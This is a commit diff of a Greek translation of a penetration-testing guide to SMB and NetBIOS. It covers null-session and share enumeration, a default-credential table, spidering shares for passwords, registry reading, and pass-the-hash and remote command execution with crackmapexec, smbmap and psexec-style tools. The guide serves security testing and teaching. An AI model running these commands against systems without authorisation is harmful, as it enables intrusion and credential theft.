Translated ['src/network-services-pentesting/pentesting-smb/ksmbd-attack

This commit is contained in:
Translator 2025-09-08 06:21:59 +00:00
parent 5493713035
commit 6286ad2cb7
3 changed files with 319 additions and 93 deletions

View File

@ -494,6 +494,7 @@
- [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
- [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
- [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
- [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md)
- [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
- [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
- [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)

View File

@ -4,59 +4,59 @@
## **Port 139**
Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα λογισμικό πρωτόκολλο σχεδιασμένο για να επιτρέπει σε εφαρμογές, υπολογιστές και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το υλικό του δικτύου και **να διευκολύνουν τη μετάδοση δεδομένων μέσω του δικτύου**. Η αναγνώριση και η τοποθεσία των λογισμικών εφαρμογών που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορούν να είναι έως 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μία εφαρμογή (που λειτουργεί ως πελάτης) εκδίδει μια εντολή για να "καλέσει" μια άλλη εφαρμογή (που λειτουργεί ως διακομιστής) χρησιμοποιώντας **TCP Port 139**.
Το _**Network Basic Input Output System**_** (NetBIOS)** είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο να επιτρέπει σε εφαρμογές, PCs και επιτραπέζιους υπολογιστές εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το δικτυακό hardware και να **διευκολύνει τη μεταφορά δεδομένων στο δίκτυο**. Η αναγνώριση και ο εντοπισμός των εφαρμογών που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνεται μέσω των NetBIOS names τους, τα οποία μπορεί να έχουν μήκος έως 16 χαρακτήρων και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια σύνδεση NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μια εφαρμογή (λειτουργώντας ως client) εκδίδει μια εντολή για να «καλέσει» μια άλλη εφαρμογή (λειτουργώντας ως server) χρησιμοποιώντας **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Τεχνικά, η Θύρα 139 αναφέρεται ως NBT over IP, ενώ η Θύρα 445 αναγνωρίζεται ως SMB over IP. Το ακρωνύμιο **SMB** σημαίνει **Server Message Blocks**, το οποίο είναι επίσης σύγχρονα γνωστό ως το **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο.
Σε τεχνικό επίπεδο, το Port 139 αναφέρεται ως NBT over IP, ενώ το Port 445 ταυτοποιείται ως SMB over IP. Το ακρωνύμιο **SMB** σημαίνει **Server Message Blocks**, το οποίο είναι επίσης στη σύγχρονη ορολογία γνωστό ως **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου στο επίπεδο εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο.
Για παράδειγμα, στο πλαίσιο των Windows, επισημαίνεται ότι το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίθετα, σε διάφορα συστήματα, παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με το NetBIOS πάνω από TCP/IP.
Για παράδειγμα, στο πλαίσιο των Windows, επισημαίνεται ότι το SMB μπορεί να λειτουργήσει απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης του Port 445. Αντιθέτως, σε άλλα συστήματα παρατηρείται η χρήση του Port 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνεργασία με NetBIOS πάνω από TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Το **Server Message Block (SMB)** πρωτόκολλο, που λειτουργεί σε μοντέλο **client-server**, έχει σχεδιαστεί για να ρυθμίζει την **πρόσβαση σε αρχεία**, καταλόγους και άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως μέσα στη σειρά λειτουργικών συστημάτων **Windows**, το SMB διασφαλίζει την οπισθοδρομική συμβατότητα, επιτρέποντας στις συσκευές με νεότερες εκδόσεις του λειτουργικού συστήματος της Microsoft να αλληλεπιδρούν ομαλά με αυτές που εκτελούν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια δωρεάν λύση λογισμικού, επιτρέποντας την υλοποίηση του SMB σε συστήματα **Linux** και Unix, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω του SMB.
Το πρωτόκολλο **Server Message Block (SMB)**, που λειτουργεί σε μοντέλο **client-server**, σχεδιάστηκε για να ρυθμίζει την **πρόσβαση σε αρχεία**, σε καταλόγους και σε άλλους πόρους δικτύου όπως εκτυπωτές και δρομολογητές. Χρησιμοποιείται κυρίως στα λειτουργικά συστήματα **Windows**, και το SMB διασφαλίζει συμβατότητα προς τα πίσω, επιτρέποντας σε συσκευές με νεότερες εκδόσεις του λειτουργικού της Microsoft να αλληλεπιδρούν ομαλά με συσκευές που τρέχουν παλαιότερες εκδόσεις. Επιπλέον, το έργο **Samba** προσφέρει μια ελεύθερη υλοποίηση λογισμικού που επιτρέπει την χρήση του SMB σε συστήματα **Linux** και **Unix**, διευκολύνοντας έτσι την επικοινωνία μεταξύ πλατφορμών μέσω SMB.
Οι κοινές χρήσεις, που αντιπροσωπεύουν **τυχαία μέρη του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν διακομιστή SMB, καθιστώντας τη ιεραρχία ορατή σε έναν πελάτη εν μέρει **ανεξάρτητη** από τη πραγματική δομή του διακομιστή. Οι **Access Control Lists (ACLs)**, που καθορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** πάνω στις άδειες χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`** και **`full access`**. Αυτές οι άδειες μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, με βάση τις κοινές χρήσεις, και είναι διακριτές από τις τοπικές άδειες που έχουν οριστεί στον διακομιστή.
Οι shares, που αντιπροσωπεύουν **αυθαίρετα τμήματα του τοπικού συστήματος αρχείων**, μπορούν να παρέχονται από έναν SMB server, κάνοντας την ιεραρχία ορατή σε έναν client σε μέρος **ανεξάρτητο** από την πραγματική δομή του server. Οι **Access Control Lists (ACLs)**, που ορίζουν τα **δικαιώματα πρόσβασης**, επιτρέπουν **λεπτομερή έλεγχο** των δικαιωμάτων των χρηστών, συμπεριλαμβανομένων χαρακτηριστικών όπως **`execute`**, **`read`** και **`full access`**. Αυτά τα δικαιώματα μπορούν να ανατεθούν σε μεμονωμένους χρήστες ή ομάδες, ανάλογα με τα shares, και είναι διακριτά από τα τοπικά δικαιώματα που έχουν οριστεί στον server.
### IPC$ Share
Η πρόσβαση στην κοινή χρήση IPC$ μπορεί να αποκτηθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωλήνων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτό το σκοπό. Χρησιμοποιούμενο σωστά, επιτρέπει την απόκτηση:
Η πρόσβαση στο IPC$ share μπορεί να αποκτηθεί μέσω μιας ανώνυμης null session, επιτρέποντας αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω named pipes. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτόν τον σκοπό. Όταν χρησιμοποιηθεί σωστά, επιτρέπει την απόκτηση:
- Πληροφοριών για το λειτουργικό σύστημα
- Λεπτομερειών για το γονικό τομέα
- Συγκέντρωσης τοπικών χρηστών και ομάδων
- Πληροφοριών για διαθέσιμες κοινές χρήσεις SMB
- Της αποτελεσματικής πολιτικής ασφάλειας του συστήματος
- Πληροφορίες για το λειτουργικό σύστημα
- Λεπτομέρειες για το γονικό domain
- Λίστα τοπικών χρηστών και ομάδων
- Πληροφορίες για διαθέσιμα SMB shares
- Η ισχύουσα πολιτική ασφάλειας του συστήματος
Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν την ασφάλεια των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευόμενου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες.
Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας προκειμένου να αξιολογήσουν την ασφάλεια των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του SMB περιβάλλοντος του στοχευόμενου συστήματος, η οποία είναι ουσιώδης για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες.
```bash
enum4linux -a target_ip
```
Η παραπάνω εντολή είναι ένα παράδειγμα του πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να εκτελέσει πλήρη καταμέτρηση σε έναν στόχο που καθορίζεται από το `target_ip`.
Η παραπάνω εντολή είναι ένα παράδειγμα για το πώς μπορεί να χρησιμοποιηθεί το `enum4linux` για να εκτελέσει πλήρη enumeration εναντίον ενός στόχου που καθορίζεται από το `target_ip`.
## Τι είναι το NTLM
Αν δεν ξέρετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το εκμεταλλευτείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα σχετικά με το **NTLM** όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:**
Αν δεν γνωρίζετε τι είναι το NTLM ή θέλετε να μάθετε πώς λειτουργεί και πώς να το καταχραστείτε, θα βρείτε πολύ ενδιαφέρουσα αυτή τη σελίδα για το **NTLM**, όπου εξηγείται **πώς λειτουργεί αυτό το πρωτόκολλο και πώς μπορείτε να το εκμεταλλευτείτε:**
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
## **Καταμέτρηση Διακομιστή**
## **Enumeration διακομιστών**
### **Σάρωση** ενός δικτύου αναζητώντας hosts:
### **Scan** ένα δίκτυο αναζητώντας hosts:
```bash
nbtscan -r 192.168.0.1/24
```
### SMB server version
### SMB έκδοση διακομιστή
Για να αναζητήσετε πιθανά exploits για την έκδοση SMB, είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Αν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιούνται, μπορείτε να:
Για να εντοπίσετε πιθανά exploits για την έκδοση SMB είναι σημαντικό να γνωρίζετε ποια έκδοση χρησιμοποιείται. Αν αυτή η πληροφορία δεν εμφανίζεται σε άλλα εργαλεία που χρησιμοποιείτε, μπορείτε:
- Χρησιμοποιήσετε το **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Χρησιμοποιήστε το **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Ή αυτό το script:
```bash
#!/bin/sh
@ -74,28 +74,28 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Αναζήτηση εκμετάλλευσης**
### **Αναζήτηση exploit**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Πιθανές** Διαπιστώσεις
### **Πιθανές** Credentials
| **Όνομα χρήστη(ες)** | **Κοινές κωδικοί πρόσβασης** |
| --------------------- | ------------------------------------------ |
| _(κενό)_ | _(κενό)_ |
| guest | _(κενό)_ |
| Administrator, admin | _(κενό)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
| **Username(s)** | **Common passwords** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Brute Force
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
### Πληροφορίες Περιβάλλοντος SMB
### SMB Πληροφορίες Περιβάλλοντος
### Απόκτηση Πληροφοριών
```bash
@ -119,9 +119,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Enumerate Users, Groups & Logged On Users
### Απαρίθμηση χρηστών, ομάδων & συνδεδεμένων χρηστών
Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συλλεχθεί από το enum4linux και enum4linux-ng
Αυτές οι πληροφορίες θα πρέπει να έχουν ήδη συλλεχθεί από enum4linux και enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -133,44 +133,44 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Καταμέτρηση τοπικών χρηστών
### Απαρίθμηση τοπικών χρηστών
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Μονογραμμή
Εντολή μίας γραμμής
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Καταμέτρηση τοπικών χρηστών
### Metasploit - Απαρίθμηση τοπικών χρηστών
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Αναγνώριση LSARPC και SAMR rpcclient**
### **Απαρίθμηση LSARPC και SAMR rpcclient**
{{#ref}}
rpcclient-enumeration.md
{{#endref}}
### Σύνδεση GUI από linux
### GUI σύνδεση από linux
#### Στο τερματικό:
`xdg-open smb://cascade.htb/`
#### Στο παράθυρο του εξερευνητή αρχείων (nautilus, thunar, κ.λπ.)
#### Στο παράθυρο διαχείρισης αρχείων (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
## Αναγνώριση Κοινών Φακέλων
## Απαρίθμηση Κοινόχρηστων Φακέλων
### Λίστα κοινών φακέλων
### Λίστα κοινόχρηστων φακέλων
Είναι πάντα συνιστώμενο να ελέγχετε αν μπορείτε να έχετε πρόσβαση σε οτιδήποτε, αν δεν έχετε διαπιστευτήρια δοκιμάστε να χρησιμοποιήσετε **null** **διαπιστευτήρια/χρήστης επισκέπτης**.
Συνιστάται πάντα να ελέγχετε αν μπορείτε να αποκτήσετε πρόσβαση σε οτιδήποτε. Αν δεν έχετε credentials, δοκιμάστε να χρησιμοποιήσετε **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -184,7 +184,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **Σύνδεση/Λίστα ενός κοινόχρηστου φακέλου**
### **Σύνδεση/Εμφάνιση ενός κοινόχρηστου φακέλου**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -196,11 +196,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Χειροκίνητη καταμέτρηση κοινών πόρων Windows και σύνδεση σε αυτούς**
### **Χειροκίνητη απαρίθμηση windows shares και σύνδεση σε αυτά**
Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιουσδήποτε πόρους της μηχανής-οικοδεσπότη και όταν προσπαθείτε να τους καταγράψετε, φαίνεται ότι δεν υπάρχουν πόροι για σύνδεση. Έτσι, μπορεί να αξίζει να προσπαθήσετε να συνδεθείτε χειροκίνητα σε έναν πόρο. Για να καταμετρήσετε τους πόρους χειροκίνητα, μπορεί να θέλετε να αναζητήσετε απαντήσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια έγκυρη συνεδρία (π.χ. null session ή έγκυρα διαπιστευτήρια). Αυτά μπορεί να υποδεικνύουν αν ο πόρος υπάρχει και δεν έχετε πρόσβαση σε αυτόν ή αν ο πόρος δεν υπάρχει καθόλου.
Είναι πιθανό να είστε περιορισμένοι στο να εμφανίσετε οποιαδήποτε shares του host machine και όταν προσπαθείτε να τα απαριθμήσετε να φαίνεται σαν να μην υπάρχουν shares για σύνδεση. Συνεπώς αξίζει μια σύντομη προσπάθεια να δοκιμάσετε χειροκίνητα να συνδεθείτε σε ένα share. Για να απαριθμήσετε τα shares χειροκίνητα μπορεί να θέλετε να ψάξετε για αποκρίσεις όπως NT_STATUS_ACCESS_DENIED και NT_STATUS_BAD_NETWORK_NAME, όταν χρησιμοποιείτε μια valid session (e.g. null session or valid credentials). Αυτά μπορεί να υποδηλώσουν εάν το share υπάρχει και δεν έχετε πρόσβαση σε αυτό ή ότι το share δεν υπάρχει καθόλου.
Κοινά ονόματα πόρων για στόχους Windows είναι
Common share names for windows targets are
- C$
- D$
@ -211,14 +211,14 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
- SYSVOL
- NETLOGON
(Κοινά ονόματα πόρων από _**Network Security Assessment 3rd edition**_)
(Common share names from _**Network Security Assessment 3rd edition**_)
Μπορείτε να προσπαθήσετε να συνδεθείτε σε αυτούς χρησιμοποιώντας την παρακάτω εντολή
Μπορείτε να δοκιμάσετε να συνδεθείτε σε αυτά χρησιμοποιώντας την παρακάτω εντολή
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
ή για αυτό το σενάριο (χρησιμοποιώντας μια κενή συνεδρία)
ή αυτό το script (using a null session)
```bash
#/bin/bash
@ -240,7 +240,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Καταμέτρηση μεριδίων από Windows / χωρίς εργαλεία τρίτων**
### **Καταγραφή κοινοχρήστων σε Windows / χωρίς εργαλεία τρίτων**
PowerShell
```bash
@ -252,7 +252,7 @@ get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
Κονσόλα CMD
CMD κονσόλα
```shell
# List shares on the local computer
net share
@ -266,16 +266,16 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τις διαθέσιμες μη κρυφές κοινές χρήσεις.
explorer.exe (γραφικό), πληκτρολογήστε `\\<ip>\` για να δείτε τα διαθέσιμα μη κρυμμένα shares.
### Σύνδεση σε έναν κοινόχρηστο φάκελο
### Προσάρτηση ενός shared folder
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Λήψη αρχείων**
Διαβάστε τις προηγούμενες ενότητες για να μάθετε πώς να συνδεθείτε με διαπιστευτήρια/Pass-the-Hash.
Διαβάστε τις προηγούμενες ενότητες για να μάθετε πώς να συνδεθείτε με credentials/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -293,33 +293,33 @@ smbclient //<IP>/<share>
Εντολές:
- mask: καθορίζει τη μάσκα που χρησιμοποιείται για να φιλτράρει τα αρχεία μέσα στον κατάλογο (π.χ. "" για όλα τα αρχεία)
- recurse: ενεργοποιεί την αναδρομή (προεπιλογή: απενεργοποιημένη)
- recurse: εναλλάσσει την αναδρομική λειτουργία (προεπιλογή: απενεργοποιημένη)
- prompt: απενεργοποιεί την προτροπή για ονόματα αρχείων (προεπιλογή: ενεργοποιημένη)
- mget: αντιγράφει όλα τα αρχεία που ταιριάζουν με τη μάσκα από τον κεντρικό υπολογιστή στη μηχανή του πελάτη
- mget: αντιγράφει όλα τα αρχεία που ταιριάζουν με τη μάσκα από τον host στη μηχανή client
(_Πληροφορίες από τη σελίδα man του smbclient_)
(_Πληροφορίες από το manpage του smbclient_)
### Αναζήτηση Κοινών Φακέλων Τομέα
### Αναζήτηση Κοινόχρηστων Φακέλων του Domain
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) αράχνη.
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Ιδιαίτερα ενδιαφέροντα από τις κοινές διανομές είναι τα αρχεία που ονομάζονται **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **autologon** μέσω Πολιτικής Ομάδας. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια.
Ιδιαίτερα ενδιαφέροντα από τα shares είναι τα αρχεία με όνομα **`Registry.xml`** καθώς μπορεί να περιέχουν **passwords** για χρήστες ρυθμισμένους με **autologon** μέσω Group Policy. Επίσης τα αρχεία **`web.config`** καθώς περιέχουν **credentials**.
> [!TIP]
> Η **κοινή χρήση SYSVOL** είναι **αναγνώσιμη** από όλους τους αυθεντικοποιημένους χρήστες στο τομέα. Εκεί μπορείτε να **βρείτε** πολλά διαφορετικά batch, VBScript και PowerShell **scripts**.\
> Πρέπει να **ελέγξετε** τα **scripts** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**.
> Το **SYSVOL share** είναι **αναγνώσιμο** από όλους τους επαληθευμένους χρήστες στο domain. Εκεί μπορείς να βρεις πολλά διαφορετικά batch, VBScript, και PowerShell **scripts**.\
> Πρέπει να ελέγξεις τα **scripts** μέσα σε αυτό καθώς μπορείς να βρεις ευαίσθητες πληροφορίες όπως **passwords**.
## Ανάγνωση Μητρώου
## Ανάγνωση Registry
Μπορεί να είστε σε θέση να **διαβάσετε το μητρώο** χρησιμοποιώντας κάποια ανακαλυφθέντα διαπιστευτήρια. Το Impacket **`reg.py`** σας επιτρέπει να δοκιμάσετε:
Μπορεί να μπορείτε να **διαβάσετε το registry** χρησιμοποιώντας κάποια εντοπισμένα credentials. Impacket **`reg.py`** σας επιτρέπει να δοκιμάσετε:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -327,22 +327,22 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
Η **προεπιλεγμένη ρύθμιση** ενός **Samba** server βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει κάποιες **επικίνδυνες ρυθμίσεις**:
Η **προεπιλεγμένη διαμόρφωση του** **Samba** server βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να έχει μερικές **επικίνδυνες ρυθμίσεις**:
| **Ρύθμιση** | **Περιγραφή** |
| **Ρύθμιση** | **Περιγραφή** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Επιτρέπεται η καταγραφή διαθέσιμων κοινών πόρων στην τρέχουσα κοινή χρήση; |
| `read only = no` | Απαγορεύεται η δημιουργία και η τροποποίηση αρχείων; |
| `writable = yes` | Επιτρέπεται στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; |
| `guest ok = yes` | Επιτρέπεται η σύνδεση στην υπηρεσία χωρίς τη χρήση κωδικού πρόσβασης; |
| `enable privileges = yes` | Τηρούνται τα δικαιώματα που έχουν ανατεθεί σε συγκεκριμένο SID; |
| `create mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στα νεοδημιουργηθέντα αρχεία; |
| `directory mask = 0777` | Ποια δικαιώματα πρέπει να ανατεθούν στους νεοδημιουργηθέντες καταλόγους; |
| `logon script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται κατά την είσοδο του χρήστη; |
| `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; |
| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; |
| `browseable = yes` | Επιτρέπει την εμφάνιση των διαθέσιμων shares; |
| `read only = no` | Απαγορεύει τη δημιουργία και τροποποίηση αρχείων; |
| `writable = yes` | Επιτρέπει στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; |
| `guest ok = yes` | Επιτρέπει τη σύνδεση στην υπηρεσία χωρίς χρήση κωδικού; |
| `enable privileges = yes` | Τηρεί τα προνόμια που έχουν ανατεθεί σε συγκεκριμένο SID; |
| `create mask = 0777` | Ποιες άδειες πρέπει να ανατίθενται σε νεοδημιουργημένα αρχεία; |
| `directory mask = 0777` | Ποιες άδειες πρέπει να ανατίθενται σε νεοδημιουργημένους καταλόγους;|
| `logon script = script.sh` | Ποιο script πρέπει να εκτελείται κατά το login του χρήστη; |
| `magic script = script.sh` | Ποιο script πρέπει να εκτελείται όταν το script κλείνει; |
| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του magic script; |
Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **server** και για **ποιος είναι συνδεδεμένος**.
Η εντολή `smbstatus` δίνει πληροφορίες για τον **εξυπηρετητή** και για το **ποιος είναι συνδεδεμένος**.
## Authenticate using Kerberos
@ -355,7 +355,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec μπορεί να εκτελέσει εντολές **καταχρώντας** οποιαδήποτε από τις **mmcexec, smbexec, atexec, wmiexec**, με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`:
crackmapexec μπορεί να εκτελέσει εντολές **εκμεταλλευόμενο** οποιοδήποτε από τα **mmcexec, smbexec, atexec, wmiexec**, όπου **wmiexec** είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσει με την παράμετρο `--exec-method`:
```bash
apt-get install crackmapexec
@ -379,8 +379,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Και οι δύο επιλογές θα **δημιουργήσουν μια νέα υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στη μηχανή του θύματος και θα τη χρησιμοποιήσουν για να **εκτελέσουν κάτι** (**psexec** θα **ανεβάσει** ένα εκτελέσιμο αρχείο στο ADMIN$ share και **smbexec** θα δείξει σε **cmd.exe/powershell.exe** και θα βάλει στα επιχειρήματα το payload --**file-less technique-**-).\
